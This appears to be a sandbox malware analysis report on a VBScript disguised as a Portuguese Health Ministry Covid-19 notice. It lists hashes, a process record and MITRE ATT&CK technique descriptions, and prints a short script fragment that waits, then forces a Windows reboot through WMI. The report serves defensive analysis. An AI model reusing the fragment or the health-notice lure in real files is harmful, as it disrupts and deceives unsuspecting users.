Preview:	Set MTTDJRICBE = CreateObject("WScript.Shell")..WScript.Sleep(300000)..Set OpSysSet = GetObject("winmgmts:{authenticationlevel=Pkt," _..& "(Shutdown)}").ExecQuery("select * from Win32_OperatingSystem where "_..& "Primary=true")..for each OpSys in OpSysSet..retVal = OpSys.Win32Shutdown(6)..next..

Static File Info

General
File type:	UTF-8 Unicode text, with CRLF line terminators
Entropy (8bit):	5.724422800299126
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	Comuinicado-Covid19-Min-Saude-VRC-03-02-21-210.vbs
File size:	408099
MD5:	bef99a24632c89aa1676f0c5e5bfb11b
SHA1:	335c3b6151df7e3e31b603bd55d24c0de56a8d5a
SHA256:	64f6d8c5d529aa3ab6626a3b9be57c4b9e0c2130ec3358c12d53e3453a83a76c
SHA512:	d11ff4430df13dc549b938e7b6b5bac9377654df71882985f54939eebb460bf572f7b0b710866a233c2c5ab37f9b3d3a361797e73d2ce02def255269a858f767
SSDEEP:	12288:jbubzbMbjb+bXb2bHbVbNbvbvbbbEbFbobBbcbobNbSbPblbqbtbdbNbSb2bobE:Z
File Content Preview:	'y..N...8..p.........r..Lp.............R..s......U........9....99......k5......i...............O.....i6...7...g..v.......A...kh.......l..AW......4......5u.........'XgpL..M....2..I0...J..g....p.......s..jY...L............Jto....6....6D..Z......Ri..9.......

File Icon


Icon Hash:	e8d69ece869a9ec4

Network Behavior

No network behavior found

Code Manipulations

Statistics

System Behavior

Analysis Process: wscript.exe PID: 5840 Parent PID: 3388

General

Start time:	11:46:34
Start date:	10/02/2021
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\Comuinicado-Covid19-Min-Saude-VRC-03-02-21-210.vbs'
Imagebase:	0x7ff7227a0000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Disassembly

Code Analysis

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Process monitoring
Platforms:	macOS
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Analysis Report Comuinicado-Covid19-Min-Saude-VRC-03-02-21-210.vbs

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Sigma Overview

Signature Overview

AV Detection:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Network Behavior

Code Manipulations

Statistics

System Behavior

Analysis Process: wscript.exe PID: 5840 Parent PID: 3388

General

Disassembly

Code Analysis